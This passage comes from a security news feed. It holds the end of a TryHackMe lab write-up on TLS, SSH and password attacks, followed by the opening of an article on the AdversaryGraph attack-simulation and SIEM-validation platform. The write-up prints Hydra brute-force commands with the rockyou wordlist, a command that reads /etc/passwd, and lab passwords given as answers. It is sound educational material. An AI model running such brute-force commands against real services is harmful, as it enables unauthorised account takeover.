provides.</p><p><strong>Question 1:</strong> How many interfaces does Ettercap offer?</p><pre>Answer: 3</pre><p><strong>Question 2:</strong> How many ways can you invoke Bettercap?</p><pre>Answer: 3</pre><h3>Part 3 — TLS: The Fix for Both Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*3Qn-dR4Ps9kwTxZGqRBBHw.jpeg"></figure><p>Both sniffing and MITM share one cure: TLS (Transport Layer Security). This part of the room is the solution chapter.</p><h4>A quick history</h4><p>SSL appeared in 1994 via Netscape, with SSL 3.0 dropping in 1996 as the web grew into shopping and payments. TLS succeeded it in 1999.</p><p>Where things stand now:</p><ul><li>SSL 2.0 and 3.0 are deprecated and highly insecure. Never use them.</li><li>TLS 1.0 and 1.1 were officially deprecated in 2021 and dropped by major browsers.</li><li>TLS 1.2 (from 2008) is still widely used and secure when configured with modern ciphers.</li><li>TLS 1.3 (from 2018) is the current standard. It features fewer algorithms, a faster handshake, and forward secrecy by default.</li></ul><p>People still say “SSL certificate” out of habit, but in practice, everything modern uses TLS.</p><h4>Where TLS sits</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9wEkyyAKPn28lVN9bDX2Q.png"><figcaption>Image 2 from the room</figcaption></figure><p>Cleartext application-layer protocols send data entirely in the open.</p><p>TLS adds encryption just below the application protocol, wrapping its data before it hits the network card. On the OSI model, it lives right between the transport and application layers.</p><h4>Upgrading protocols with TLS</h4><ul><li>HTTP (Port 80) upgrades to HTTPS (Port 443)</li><li>FTP (Port 21) upgrades to FTPS (Port 990)</li><li>SMTP (Port 25) upgrades to SMTPS (Port 465)</li><li>POP3 (Port 110) upgrades to POP3S (Port 995)</li><li>IMAP (Port 143) upgrades to IMAPS (Port 993)</li></ul><p>It’s not just web and mail. DNS can be wrapped too via DoT (DNS over TLS) on port 853, or DoH (DNS over HTTPS) on port 443. Both stop eavesdroppers from seeing which sites you look up.</p><h4>Implicit TLS vs STARTTLS</h4><ul><li>Implicit TLS uses a dedicated port that is fully encrypted from the very first byte (like 443 or 993).</li><li>STARTTLS connects in cleartext on the normal port, then issues a “STARTTLS” command to upgrade the connection in place. This is common for email setup.</li></ul><blockquote>Both offer encryption, but implicit TLS is highly preferred.</blockquote><p>A MITM attacker can easily strip the STARTTLS command during negotiation and force the session to stay in cleartext if the client isn’t configured to require it.</p><h4>How HTTPS works</h4><p>Plain HTTP takes two steps: open a TCP connection, then send requests. HTTPS inserts a step in between:</p><ol><li>Establish a standard TCP connection.</li><li>Establish a TLS connection (the handshake).</li><li>Send the HTTP requests, which are now fully encrypted.</li></ol><p>A simplified TLS 1.2 handshake goes like this:</p><blockquote><strong>ClientHello</strong> (client offers its TLS versions and cipher suites) <strong>→</strong> <strong>ServerHello</strong> (server picks the parameters and sends its certificate) <strong>→ Key Exchange</strong> (both derive a shared secret)<strong> →</strong> <strong>Finished</strong> (both confirm and switch to encrypted communication):</blockquote><pre>ClientHello → ServerHello → Key Exchange → Finished</pre><h4>Certificates and trust</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*-10wNzrM0tEpRINoAqc5mQ.png"><figcaption>Certificate Authority (CA)</figcaption></figure><p>HTTPS leans on certificates signed by trusted Certificate Authorities (CAs). Your browser expects a valid certificate from a trusted CA, which proves you’re talking to the real server and blocks easy MITM attempts.</p><p>A certificate shows who it was issued to, who issued it, and its validity period. An expired certificate should never be trusted.</p><p>The modern ecosystem made this nearly universal thanks to automated platforms like <a href="https://letsencrypt.org/"><em>Let’s Encrypt</em></a>, which pushed global HTTPS traffic past 95%.</p><p><strong>Question:</strong> What is the three-letter acronym for the DNS protocol that uses TLS?</p><pre>Answer: DoT (DNS over TLS)</pre><h3>Part 4 — SSH: Secure Remote Administration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*EidIDqyfQGBr2l3Y-KLmog.png"><figcaption>SSH</figcaption></figure><p>SSH (Secure Shell) is the secure replacement for Telnet. It is the universal way to administer servers, network gear, and cloud infrastructure.</p><p>The “S” means you can confirm the server’s identity, your messages are encrypted for the intended recipient only, and any data tampering is instantly detectable.</p><blockquote>It handles confidentiality and integrity seamlessly over port 22.</blockquote><h4>Authentication methods</h4><ul><li><strong>Password </strong>— The simplest method. The password rides the encrypted channel, but weak choices can still fall to brute-force attacks.</li><li><strong>Public key (recommended) </strong>— A private key stays on your machine, while the public key goes on the server. The server challenges you to prove you hold the private key without ever transmitting it.</li><li><strong>Certificate-based </strong>— An SSH CA signs user and host keys. This scales incredibly well because you don’t have to manually distribute public keys to every single server.</li><li><strong>MFA </strong>— Combines a traditional key or password with a one-time code for high-security environments.</li></ul><h4>Connecting</h4><ul><li>To connect, you run:</li></ul><pre>ssh mark@MACHINE_IP</pre><p>Enter the password or let your key authenticate, and you are on the remote terminal. Every single command you send runs over an encrypted channel.</p><p><strong>Question:</strong> Connect as mark (password XBtc49AB) and find the kernel release with uname -r.</p><pre>Commands: ssh mark@MACHINE_IP uname -r</pre><pre>Answer: 5.15.0–119-generic</pre><h4>Host key verification</h4><p>On your very first connection, SSH shows the server’s key fingerprint and asks if you want to continue.</p><p>Ideally, you verify this fingerprint through an admin or config management before typing “yes”. It is then saved in your local known_hosts file.</p><p>If that key ever changes unexpectedly in the future, SSH throws a massive warning, a major indicator of a potential MITM attack or a reinstalled server.</p><h4>Generating keys</h4><ul><li>To create a new key pair, run:</li></ul><pre>ssh-keygen -t ed25519 -C "your_email@example.com"</pre><p>The private key stays strictly on your machine and should be passphrase-protected. The public key (.pub) is safe to share. You can push it to a remote server easily using:</p><pre>ssh-copy-id mark@MACHINE_IP</pre><h4>Useful options</h4><pre>+--------------------------------------------+------------------------------------------------------------+<br>| Command                                    | Purpose                                                    |<br>+--------------------------------------------+------------------------------------------------------------+<br>| ssh -p 2222 mark@MACHINE_IP                | Connect to a remote server running on a non-standard port   |<br>| ssh -i ~/.ssh/custom_key mark@MACHINE_IP   | Specify a specific private key file to use for login       |<br>| ssh -J bastion.example.com mark@internal   | Jump through a secure bastion host to reach an internal IP |<br>| ssh -L 8080:localhost:80 mark@MACHINE_IP   | Set up a local port forward to tunnel traffic through SSH  |<br>| ssh -D 9050 mark@MACHINE_IP                | Create a dynamic SOCKS proxy forward for traffic routing   |<br>| ssh mark@MACHINE_IP "cat /etc/passwd"      | Run a single, one-off command without opening a full shell |<br>+--------------------------------------------+------------------------------------------------------------+</pre><h4>Secure file transfer</h4><ul><li><strong>SFTP</strong> — Interactive, FTP-like file management running completely over SSH. This is the recommended choice today.</li><li><strong>SCP </strong>— Simple file copies over SSH. This is now deprecated by OpenSSH in favor of SFTP, though it still works on most systems.</li><li><strong>rsync over SSH </strong>— The best option for large or repeated transfers because it only copies the specific parts of files that changed.</li></ul><p>To copy files via SCP:</p><pre>scp mark@MACHINE_IP:/home/mark/archive.tar.gz ~/ (remote to local)</pre><pre>scp backup.tar.bz2 mark@MACHINE_IP:/home/mark/ (local to remote)</pre><p><strong>Quick clarifier:</strong></p><blockquote>SFTP runs over SSH (port 22).</blockquote><blockquote>FTPS is FTP-over-TLS (port 990).</blockquote><p>They are entirely different protocols despite having similar names.</p><p><strong>Question:</strong> Download book.txt from the remote system; what download size did scp display in KB?</p><pre>Command: scp mark@MACHINE_IP:/home/mark/book.txt ~/</pre><pre>Answer: 415</pre><h4>Hardening SSH</h4><p>To protect a server, you can modify its config file <em>(/etc/ssh/sshd_config)</em>:</p><ul><li>Set PasswordAuthentication to “no” once public keys are established.</li><li>Set PermitRootLogin to “no” to force users to log in with regular accounts first.</li><li>Use AllowUsers or AllowGroups to create an explicit access whitelist.</li><li>Change the default port to reduce automated log noise.</li><li>Deploy fail2ban to automatically block IPs with repeated failed login attempts.</li></ul><h3>Part 5 — Password Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6_lWVwmNlB93-2JkYWo8Og.png"></figure><p>Even with a network fully encrypted, authentication remains a primary target. Authentication is simply the act of proving your identity, like entering a password to access a service.</p><p>The three factors:</p><ul><li><strong>Something you know </strong>— a password or PIN</li><li><strong>Something you have </strong>— a phone, hardware security key, or smart card</li><li><strong>Something you are </strong>— a fingerprint or facial scan</li></ul><p>This section focuses entirely on attacking “something you know.”</p><h4>Why weak passwords persist</h4><p>Massive historic breaches show that old habits die hard.</p><p>The most common passwords found in modern breaches still include variations like 123456, password, qwerty, Password1, and seasonal choices like Summer2024.</p><p>Because people constantly reuse passwords across multiple sites, a single leak frequently gives attackers access to entirely unrelated corporate or personal accounts.</p><h4>Types of attacks</h4><ul><li><strong>Guessing </strong>— using personal info like a target’s pet, birth year, or favorite sports team harvested from social media.</li><li><strong>Dictionary</strong>— automatically trying lists of real words and common variations.</li><li><strong>Brute force </strong>— systematically trying every possible characters combination. This is exhaustive, which is why password length matters so much.</li><li><strong>Credential stuffing</strong> — taking leaked username/password pairs from old breaches and automatically testing them against other web services.</li><li><strong>Password spraying </strong>— testing one or two incredibly common passwords against a massive list of user accounts to dodge lockout policies.</li><li><strong>Hybrid</strong> — combining dictionary words with systematic patterns, like capitalizing the first letter and adding a year to the end.</li></ul><h4>Wordlists</h4><ul><li>The classic go-to wordlist is RockYou, located on the TryHackMe AttackBox at:</li></ul><pre>/usr/share/wordlists/rockyou.txt</pre><blockquote>Beyond that, security professionals use collections like SecLists, CrackStation lists, or custom-generated lists tailored specifically to the target’s language, region, or industry habits.</blockquote><h4>THC Hydra</h4><p>Hydra is a fast network login cracker that throws wordlists at live services like FTP, POP3, IMAP, SSH, and HTTP.</p><p>The basic syntax looks like this:</p><pre>hydra -l username -P wordlist.txt server service</pre><ul><li>-l specifies a single username (-L for a text file of names)</li><li>-P specifies a password wordlist (-p for a single password)</li><li>server is the target IP or hostname</li><li>service is the protocol you are targeting</li></ul><p>Examples:</p><pre>hydra -l mark -P /usr/share/wordlists/rockyou.txt MACHINE_IP ftp<br>hydra -l frank -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh<br>hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap</pre><p>Handy options include -s to target a non-default port, -vV for detailed verbosity, -t to adjust parallel attack threads, and -f to immediately stop execution when the first valid password is found.</p><h4>Other tools</h4><p>Alternative online crackers include <strong>Medusa</strong> and <strong>Ncrack</strong>.</p><p>For Windows and Active Directory environments, tools like <strong>NetExec</strong> excel at spraying credentials over SMB and LDAP.</p><p>If you manage to dump password hashes from a database, offline tools like <strong>Hashcat</strong> or <strong>John the Ripper </strong>are used because they can guess millions of combinations per second without worrying about network lag or lockouts.</p><h4>Mitigation</h4><p>Defending against password attacks requires a modern approach to identity management:</p><ul><li>Enforce <strong>length-first password policies</strong> based on NIST guidelines. Favor overall length over complex character rotation, and check new passwords against lists of known compromised credentials.</li><li>Implement <strong>strict account lockout</strong> or <strong>throttling mechanisms</strong> to kill automated automated guessing, while remaining aware of password spraying patterns.</li><li>Use <strong>CAPTCHAs</strong> to prevent basic bot execution on login forms.</li><li>Deploy <strong>Multi-Factor Authentication (MFA)</strong> across all external endpoints.</li><li>Transition toward <strong>passwordless ecosystems</strong>, utilizing passkeys (FIDO2/WebAuthn), hardware keys, or verified magic links.</li></ul><p><strong>Question: </strong>One email account is lazie; what password accesses the IMAP service?</p><pre>Command: hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap</pre><pre>Answer: butterfly</pre><h3>Key Takeaways</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35eDunQG0NLCy_K2XVOvtA.jpeg"></figure><p>The fundamental rule of network security is simple:</p><blockquote>Cleartext protocols are inherently insecure.</blockquote><p>Anything sent without encryption can be effortlessly intercepted by sniffing or manipulated via a Man-in-the-Middle attack.</p><p>The security path forward is uniform across all services:</p><ul><li>Use HTTPS instead of HTTP</li><li>Use SSH instead of Telnet</li><li>Use SFTP or FTPS instead of basic FTP</li><li>Use IMAPS, POP3S, and SMTPS instead of their legacy cleartext variants</li></ul><p>Even when a connection is perfectly encrypted, weak passwords remain a glaring vulnerability.</p><p>Secure the protocol with robust encryption, then secure the account with long passwords, rate limiting, and multi-factor authentication.</p><h4>Quick Port Reference Guide</h4><pre>+-------------------+------+----------------+<br>| Protocol          | Port | Security       |<br>+-------------------+------+----------------+<br>| FTP               | 21   | Cleartext      |<br>| FTPS              | 990  | TLS (implicit) |<br>| HTTP              | 80   | Cleartext      |<br>| HTTPS             | 443  | TLS (implicit) |<br>| IMAP              | 143  | Cleartext      |<br>| IMAPS             | 993  | TLS (implicit) |<br>| POP3              | 110  | Cleartext      |<br>| POP3S             | 995  | TLS (implicit) |<br>| SMTP              | 25   | Cleartext      |<br>| SMTP submission   | 587  | STARTTLS       |<br>| SMTPS             | 465  | TLS (implicit) |<br>| SSH / SFTP        | 22   | Encrypted (SSH)|<br>| Telnet            | 23   | Cleartext      |<br>+-------------------+------+----------------+</pre><p><em>Room: Protocols and Servers 2 — TryHackMe (</em><a href="https://tryhackme.com/room/protocolsandservers2"><em>https://tryhackme.com/room/protocolsandservers2</em></a><em>). This writeup is for educational purposes; only test systems you’re authorized to. Have fun!</em></p><p><em>This article was written by Pop123 as a walkthrough for the TryHackMe lab. I am as always open to further discussing the topic.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=42c2d01f5c6c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/protocols-and-servers-2-tryhackme-writeup-42c2d01f5c6c">Protocols and Servers 2 TryHackMe Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation]]></title>
<description><![CDATA[A self-hosted CTI-to-detection workbench for ATT&CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.IntroductionAdversaryGraph started as a practical question:How can a security team move from threat intelligence ...]]></description>
<link>https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</guid>
<pubDate>Sun, 05 Jul 2026 08:22:34 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A self-hosted CTI-to-detection workbench for ATT&amp;CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pE4s-eX1wFWMUOsnozr16w.png"></figure><h3>Introduction</h3><p>AdversaryGraph started as a practical question:</p><p><strong>How can a security team move from threat intelligence to detection engineering without losing the evidence trail?</strong></p><p>Most CTI workflows produce useful text, but the next steps are often manual. An analyst reads a report, extracts behaviors, maps them to MITRE ATT&amp;CK, compares them with known actors, enriches IOCs, writes detection ideas, and then asks a detection engineer to validate whether telemetry actually exists in the SIEM.</p><p>That gap is where a lot of defensive work slows down.</p><p>AdversaryGraph v5.0 is my attempt to make that workflow more operational. It is not only a CTI visualization project. It is a self-hosted analyst workbench that connects:</p><ul><li><strong>Report and telemetry analysis.</strong></li><li><strong>ATT&amp;CK technique mapping.</strong></li><li><strong>Group, campaign, and report similarity.</strong></li><li><strong>IOC enrichment and investigation.</strong></li><li><strong>Malware analysis workflows.</strong></li><li><strong>Asset attack-surface mapping.</strong></li><li><strong>Attack simulation.</strong></li><li><strong>SIEM forwarding and validation.</strong></li><li><strong>Analyst-ready documentation and reports.</strong></li></ul><p>The main addition in release 5.0 is <strong>Attack Simulation</strong>: a controlled ATT&amp;CK validation workspace where an analyst can select a technique, run approved lab scenarios, inspect target-side telemetry, forward logs to a SIEM collector, and use an AI assistant to generate coherent multi-phase attack-chain drills.</p><p>This article explains what is new in v5.0, how the architecture works, what the platform can do today, and how I expect analysts and detection engineers to use it.</p><p>Project links:</p><ul><li>Project landing page: <a href="https://1200km.com/adversarygraph/">https://1200km.com/adversarygraph/</a></li><li>Documentation: <a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></li><li>GitHub: <a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></li><li>Release v5.0.0: <a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0</a></li></ul><h3>Table of Contents</h3><ul><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cea9"><strong>The Problem: CTI Often Stops Before Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dfa8"><strong>What AdversaryGraph Is</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cb81"><strong>Core Capabilities Before v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#873f"><strong>What Is New in v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#bca9"><strong>TTP-First Simulation Workflow</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#b2a4"><strong>Real Lab Telemetry for Web Scenarios</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#251c"><strong>SIEM Forwarding</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#a5cc"><strong>AI Attack Assistant</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#3d3e"><strong>Coherent Kill Chains, Not Random Events</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#2f06"><strong>Explain Attack</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#f317"><strong>Named Scenario Library</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#144f"><strong>Safety Boundaries</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cd7c"><strong>How This Fits Detection Engineering</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e7d0"><strong>Architecture Overview</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#6252"><strong>Example Use Case: Password Spray Detection</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#231b"><strong>Example Use Case: Web Recon to Exploit-Shaped Telemetry</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8a5c"><strong>Example Use Case: Malware Findings to Detection Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dbfb"><strong>Example Use Case: Asset Inventory to Attack Surface</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8e80"><strong>What This Release Is Not</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#ff3a"><strong>What Makes v5.0 Different</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#22f6"><strong>Final Thoughts</strong></a></li></ul><h3>The Problem: CTI Often Stops Before Validation</h3><p>A typical CTI-to-detection workflow looks like this:</p><ol><li>Read an external report, internal incident report, malware note, or intelligence summary.</li><li>Extract behaviors: PowerShell, scheduled tasks, credential dumping, public-facing application exploitation, exfiltration, persistence, discovery, and so on.</li><li>Map those behaviors to MITRE ATT&amp;CK.</li><li>Compare them with known actor and campaign profiles.</li><li>Identify relevant IOCs.</li><li>Write hunting hypotheses and detection logic.</li><li>Ask whether the SIEM actually receives the required telemetry.</li><li>Test rules with sample logs, lab traffic, or purple-team activity.</li></ol><p>The hard part is not just mapping. The hard part is preserving the chain from <strong>evidence</strong> to <strong>technique</strong> to <strong>telemetry</strong> to <strong>detection validation</strong>.</p><p>If the SIEM parser is broken, the detection will not fire.</p><p>If the event structure is wrong, the rule will not match.</p><p>If the test event is too synthetic, the validation result is misleading.</p><p>If the ATT&amp;CK mapping is not tied back to evidence, the report becomes hard to defend.</p><p>AdversaryGraph v5.0 focuses on this full chain.</p><h3>What AdversaryGraph Is</h3><p>AdversaryGraph is a self-hosted CTI-to-detection platform. It combines a public research interface with a Docker-based private platform.</p><p>The public site is useful for exploration: ATT&amp;CK matrix navigation, group research, public technique context, and project documentation.</p><p>The self-hosted platform is where private work belongs: AI-assisted report analysis, stored investigations, IOC enrichment, malware-analysis workflows, asset inventories, attack simulation, SIEM validation, and API-driven workflows.</p><p>The high-level workflow is:</p><ol><li><strong>Ingest</strong> reports, logs, IOCs, malware findings, asset inventory, or feed data.</li><li><strong>Map</strong> behaviors to ATT&amp;CK with evidence and confidence.</li><li><strong>Enrich</strong> IOCs, actors, campaigns, malware families, and references.</li><li><strong>Validate</strong> coverage using lab telemetry and SIEM forwarding.</li><li><strong>Report</strong> findings in analyst-ready form.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sMubTyaMt5F9zU2t.png"></figure><h3>Core Capabilities Before v5.0</h3><p>Release 5.0 builds on a broader platform. The major existing modules are still part of the release and matter because Attack Simulation is designed to connect to them.</p><p><strong>All capabilities here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/capabilities/">Platform Capabilities | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><h4>AI-Assisted ATT&amp;CK Mapping</h4><p>Analysts can paste text or upload reports and ask the configured LLM provider to extract ATT&amp;CK candidates. The platform supports multiple provider options, including Claude, OpenAI, Gemini, MiniMax, and local OpenAI-compatible gateways.</p><p>The important part is not simply “ask AI for TTPs.” The useful part is that mappings are treated as analyst-assistance data:</p><ul><li>Techniques are shown with evidence.</li><li>Confidence is visible.</li><li>Output can be reviewed before operational use.</li><li>Extracted TTPs can be pushed into the Navigator.</li><li>Results can be compared with groups, campaigns, and stored reports.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YMWb4u7m0Ogpsb6T.png"></figure><h4>ATT&amp;CK Navigator and Group Context</h4><p>The Navigator is the central workspace for technique review. It supports Enterprise, Mobile, ICS, and ATLAS-style workflows. Analysts can search techniques, build layers, overlay group context, import/export layers, and move selected TTPs into comparison and reporting workflows.</p><p>This matters because many teams already think in ATT&amp;CK, but their toolchain is split between reports, spreadsheets, diagrams, SIEM rules, and ticketing systems. AdversaryGraph tries to keep the matrix connected to the rest of the investigation.</p><h4>Group, Campaign, and Report Similarity</h4><p>AdversaryGraph uses TTP overlap as a way to generate hypotheses. It compares selected behavior against ingested group profiles, campaigns, and stored report libraries.</p><p>This is intentionally framed as similarity, not attribution.</p><p>TTP overlap can help prioritize research. It can suggest which actor profiles or campaigns deserve review. It is not proof that a specific actor is responsible for an intrusion.</p><h4>IOC Investigation</h4><p>The IOC workflow lets analysts pivot from observable data into reputation and relationship context. IPs, domains, URLs, hashes, and other observables can be investigated with feed context and ATT&amp;CK leads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SHhDv7Qw2exVtviQ.png"></figure><h4>Malware Analysis</h4><p>The Malware Analysis module connects static triage, hash checks, unpacking, strings, decompilation/debug views, runtime-gated analysis, and AI summaries back to the CTI workflow.</p><p>The point is not to replace a reverse engineer. The point is to help analysts preserve malware-derived evidence and map it into ATT&amp;CK, IOCs, and investigation outputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W0QBOK9La3Q3mirM.png"></figure><h4>Asset Attack-Surface Mapping</h4><p>AdversaryGraph can ingest asset inventory input, normalize assets, score exposure, propose likely entry points, and map asset-driven ATT&amp;CK candidates.</p><p>This is useful when the question is not “what did the attacker do?” but “what could an attacker realistically try against my exposed environment?”</p><p>Examples:</p><ul><li>Public web applications.</li><li>VPN and identity services.</li><li>Exposed admin panels.</li><li>Cloud assets.</li><li>Remote management services.</li><li>High-value internal systems.</li><li>Scanner and CMDB exports.</li></ul><h3>What Is New in v5.0</h3><p>The headline feature is <strong>Attack Simulation</strong>.</p><p>Attack Simulation is designed for defensive validation and detection engineering. It lets analysts work from a TTP-first interface, run safe simulations, inspect telemetry, and forward events to a SIEM.</p><p>This is not an exploitation framework. It does not run malware. It does not execute arbitrary commands against arbitrary user targets. It is a controlled validation workspace for authorized lab scenarios and source-shaped telemetry drills.</p><p>The v5.0 release adds:</p><ul><li>A new Attack Simulation workspace.</li><li>ATT&amp;CK-style matrix selection for runnable simulations.</li><li>Dedicated configuration pages per selected TTP.</li><li>Built-in lab web target for web-focused scenarios.</li><li>Target-side real-time log viewing.</li><li>SIEM forwarding to HTTP(S) collectors.</li><li>Saved recent SIEM destinations.</li><li>AI Attack Assistant.</li><li>“Challenge Me” mode.</li><li>Complicated multi-source attack-chain scenarios.</li><li>25 named coherent scenario templates.</li><li>Attack-chain graph.</li><li>Explain Attack panel.</li><li>Source-shaped Windows, Sysmon, EDR, DNS, proxy, firewall, web, and WAF event generation for SIEM parser and rule validation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6nP-gwkSId3d917_.png"></figure><h3>TTP-First Simulation Workflow</h3><p>The workflow starts with the ATT&amp;CK matrix.</p><p>Runnable simulation cells are visible directly in the matrix, and related TTP pages can link back into the simulation workflow. This keeps the analyst oriented around ATT&amp;CK instead of hiding simulations behind unrelated forms.</p><p>The basic flow is:</p><ol><li>Open Attack Simulation.</li><li>Choose a TTP from the matrix.</li><li>Open the dedicated simulation page.</li><li>Review what the scenario does.</li><li>Review telemetry source and event structure.</li><li>Run the lab scenario or AI-assisted telemetry drill.</li><li>Inspect logs in real time.</li><li>Forward selected logs to the SIEM.</li><li>Confirm whether detections fired.</li><li>Record validation gaps.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1RZJyK6gkRejmuv0.png"></figure><p>Each scenario explains:</p><ul><li>What happens.</li><li>What adversary behavior is represented.</li><li>Which system emits telemetry.</li><li>Which event structures are expected.</li><li>What the detection should focus on.</li><li>Which telemetry is production-like and which is a lab canary.</li><li>What the validation gaps are.</li></ul><p>That explanation is important. A simulation without context is just noise. A simulation with context becomes a detection-engineering exercise.</p><h3>Real Lab Telemetry for Web Scenarios</h3><p>One major design goal was to avoid fake “log generation” for web scenarios where a real lab target can safely produce logs.</p><p>For web-focused simulations, the Docker deployment includes an attack-lab-web target. The AdversaryGraph API sends real HTTP requests to that lab web server over the Docker network. The target server writes its own logs.</p><p>The analyst can then inspect real target-side telemetry such as:</p><ul><li>NGINX access logs.</li><li>NGINX error logs.</li><li>Application authentication logs.</li><li>WAF/security-style logs.</li><li>Structured web JSONL telemetry.</li><li>Run-specific JSONL logs.</li><li>Merged attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*CPDdyF-3kyqCleFB.png"></figure><p>This is different from simply printing a row that looks like an access log. The request is sent to the lab server, and the server emits the log.</p><p>Supported web-focused scenarios include:</p><ul><li>HTTP and TLS service fingerprinting.</li><li>Public application probing.</li><li>Path discovery.</li><li>Sensitive file and configuration path access.</li><li>Directory traversal canaries.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>Command-injection-shaped requests.</li><li>Web-shell access canaries.</li><li>Upload and download scenarios.</li><li>Failed-login flows.</li><li>Brute-force patterns.</li><li>Password spray.</li><li>User enumeration.</li><li>Beacon-like web traffic.</li><li>Exfiltration-shaped traffic.</li></ul><p>The key phrase is “attack-shaped canary.” The goal is to generate realistic defensive telemetry without exploiting a real target or executing harmful payloads.</p><h3>SIEM Forwarding</h3><p>Validation is incomplete if the event never reaches the SIEM.</p><p>The v5.0 SIEM forwarding panel sends selected Attack Simulation telemetry to HTTP(S) collectors. This can be used with Logstash HTTP input, Splunk HEC-style collectors, XpoLog/Logeye listeners, or custom webhook receivers.</p><p>Supported controls include:</p><ul><li>Full URL or raw host:port/path destination.</li><li>Direct destination mode.</li><li>Docker host gateway routing.</li><li>Automatic route selection.</li><li>Raw original line per request.</li><li>JSON event per request.</li><li>JSON Lines.</li><li>Batch envelope.</li><li>No auth.</li><li>Bearer token auth.</li><li>Token 